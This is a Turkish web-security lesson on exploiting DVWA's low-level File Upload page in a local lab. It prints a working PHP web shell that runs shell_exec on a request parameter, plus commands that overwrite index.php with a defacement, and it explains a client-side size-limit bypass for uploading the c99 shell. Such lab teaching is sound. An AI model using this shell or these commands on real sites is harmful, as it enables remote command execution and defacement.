Ders 11 - File Upload (Low Level) | |||||
Bu yazıda DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak File Upload yoluyla saldırıda bulunulacaktır.
Dersin HedefiHedefiniz DVWA'nın anasayfasını hack'lemektir.File Upload Nedir?File Upload herkesin tahmin edebileceği gibi dosyaların arayüzdeki butonlar aracılığıyla uzak sisteme transfer edilmesi işlemine denir.File Upload ile Nasıl Site Hack'lenir?Bir php dosyası oluşturun. Mesela adına shell.php deyin. Ardından aşağıdaki kodları shell.php dosyasına kaydedin:<form action="" method="GET" encytype="application/x-www-form-urlencoded"> <table style="margin-left:auto; margin-right:auto;"> <tr> <td colspan="2">Lütfen bir sistem komutu girin</td> </tr> <tr><td></td></tr> <tr> <td>Komut</td> <td> <input type="text" name="pCommand" size="50"/> </td> </tr> <tr> <td></td> </tr> <tr> <td colspan="2" style="text-align:center;"> <input type="submit" value="Komutu Çalıştır"/> </td> </tr> </table> </form> <?php echo ""; echo shell_exec(@$_REQUEST["pCommand"]); echo ""; ?> Ardından DVWA'nın File Upload sayfasından shell.php'iyi sisteme yükleyin. Yüklediğinizde şöyle bir bildirimle karşılaşacaksınız: Kırmızı bildirimde görebileceğiniz üzere upload'ladığınız dosyanın bulunduğu link ifade edilmiş. O linke göre bulunduğumuz dizinin 2 kademe yukarısına çıkıp oradan hackable klasörüne sapıp oradan uploads'a geçerek upload'ladığımız dosyaya tarayıcı üzerinden erişebiliriz. Şimdi öyle yapalım. Bulunduğumuz dizin şudur: http://localhost/dvwa/vulnerabilities/upload/# İki kademe yukarı çıkarsak link şu olur: http://localhost/dvwa/# Ardından /hackable/uploads dizinine dallanalım: http://localhost/dvwa/hackable/uploads/ Böylelikle upload'ladığımız shell.php dosyasının hedef sistemde bulunduğu dizine ulaşmış oluruz. Gerçek bir hack işlemi sırasında upload'lanan dosyanın yeri site tarafından kullanıcıya genellikle bildirilmez. Bu durumda saldırganın işi güçleşir. Fakat bir web sitesi düşünelim. Bu web sitesinde son kullanıcı resim upload'layabiliyor olsun. Saldırgan bu mekanizmanın yüklediği dosyaların nereye yüklendiğini öğrenebilmek için deneme maksadıya bir resim yükleyip web sitesinde resmi teşhir edildiği yere geçebilir ve görüntülenen resmin linkini sağ tık ile alarak upload'lanan dosyaların nereye gittiğini öğrenebilir. Şimdi yüklediğimiz shell dosyasını görüntülemek için aşağıdaki linki tarayıcınıza girin: http://localhost/dvwa/hackable/uploads/shell.php Ekrana şöyle bir çıktı gelecektir: Ekrandaki metin kutusuna gireceğiniz her bir Terminal/CMD komutu hedef sistem üzerinde çalıştırılacaktır ve dönen yanıt ekrana echo komutu ile basılacaktır. Hedef sistemin Linux bir sistem olduğunu varsayalım ve web sitenin anasayfasını bulmak maksadıyla keşif mahiyetinde bazı kodlar girelim. Ardından çıktılara göz atalım: Girilen Komut: ls shell.php dosyasının bulunduğu dizindeki dosyaların isimlerini ls komutu ile sıraladık. Şimdi bir üst dizine çıkıp üst dizindeki dosyaların isimlerini sıralayalım: Girilen Komut: cd ..; ls cd .. komutu sayesinde bir üst dizine çıktık. ls komutu ile de bulunulan dizindeki dosyaları sıraladık. .Şimdi bir üst dizine daha geçerek orada yer alan dosyaları sıralayalım: Girilen Komut: cd ..; cd ..; ls Resimdeki seçili dosya isminden görebileceğiniz üzere DVWA'nın anasayfa dosyasını tespit ettik. Şimdi bu sayfaya Hacked By Falan Filan diyerek sayfayı hack'leyelim. NOT: Aşağıdaki işlemi yapmadan önce DVWA klasörünüz içindeki index.php'nin bir yedeğini alın. Çünkü içeriğini silip Hacked By Falan Filan yazacağız. İşimiz bittiğinde eski haline döndürmek için yedeği kullanabilirsiniz. shell.php'deki metin kutusuna aşağıdaki kodu girin: cd ..; cd ..; echo "<font color=red><center><h1>Hacked By Falan Filan</h1></center></font><br>" > index.php Komutu çalıştır dediğiniz an anasayfa hack'lenmiş olur. Kontrol etmek için DVWA'nın anasayfasına geçiş yapın: http://localhost/dvwa/index.php Linke gittiğiniz takdirde sayfanın hack'lendiğine dair bildirimi görebilirsiniz: Saldırı kodunda öncelikle iki kademe üst dizine çıkılmıştır. Böylelikle index.php'nin olduğu dizine geçilmiştir. Ardından echo komutu ile bir çıktı üretilmiştir. Oluşturulan bu çıktı echo'nun sağında yer alan > operatörü ile index.php dosyasının üzerine yazılmıştır (echo komutu tıpkı PHP'deki echo komutu gibi çıktı vermeye yarar). Sayfaya metin eklenebildiği gibi resim, video da eklenebilir. Resim ve video için yapılması gereken şey yukarıdaki girilen saldırı kodunda yer alan echo'dan sonraki tırnakların içine ilgili resmin ya da video'nun linkini html olarak koymaktır. SonuçKısıtlanmamış bir upload mekanizması yüzünden bir site kolaylıkla hack'lenebilir. Bu tip saldırılara maruz kalmamak için kabul edilecek dosya uzantıları şeklinde PHP gibi bir dille kural oluşturulmalıdır. Kuralın dışında kalan dosyaların sunucuya yüklenmesi engellenmelidir.EkstraBu derste shell.php adlı dosyanın sunduğu arayüz ile bir sayfa hack'lemiş olduk. Dikkat ederseniz bu dosya adına shell dendi. Daha doğru tabirle web shell. Bunun bir nedeni var. Literatürde shell dosyaları diye geçer bu tip işleve sahip dosyalar. Yani hedef sunucu üzerinde komut çalıştırmamızı sağlayan dosyalara shell denmektedir. PHP dünyasında popüler olarak bilinen shell dosyaları c99.php ve r57.php dosyalarıdır. Bunlar yaklaşık 3000 satırlık koda sahiptir ve yukarıdaki kullandığımız basit shell dosyasına nazaran elle gireceğiniz birçok komut kodları yerine kısayol seçenekleriyle aynı işlemleri yapabilmenizi sağlar. Örneğin yukarıdaki shell.php dosyasını değil de c99.php'yi upload'lasaydınız tarayıcıdan c99.php'ye eriştiğinizde aşağıdaki gibi bir arayüz sizi karşılıyor olurdu:[!] Uyarı:c99.php shell dosyası çok fazla sayıda satır sayısına sahip olduğundan ve hedef dosya upload mekanizmasında bir dosya boyutu sınırlaması olduğundan upload'lama girişiminiz başarısız olacaktır. Fakat dosya boyut denetlemesi istemci taraflı yapılmakta olduğundan html kaynak koddaki form alanında, upload'layacağınız dosya ile beraber göndereceğiniz web uygulama dosya boyut limiti değerini elle değiştirebilir ve limiti arttırarak veya komple silerek sunucu kuralını atlatabilirsiniz. Böylece yukarıdaki c99.php dosyasını web sunucuya yükleyebilirsiniz.c99 bir kontrol panelini andırıyor değil mi? :) Sayfa hack'lemek için bu derste kullandığımız sistem komutlarını kullanmadan c99.php'nin sunduğu arayüzden anasayfayı hack'lemeniz mümkündür. c99.php sistem komutlarını arkaplanda sizin yerinize yapmaktadır. Hepsi bu kadar. Yararlanılan Kaynak:
|
|||||
Bu yazı 17.01.2016 tarihinde, saat 05:51:35'de yazılmıştır. 22.08.2024 tarihi ve 20:44:28 saatinde ise güncellenmiştir. | |||||
|
|||||
Yorumlar |
|||||
|
|||||
|
|||||
|
|||||
Yorum Ekle | |||||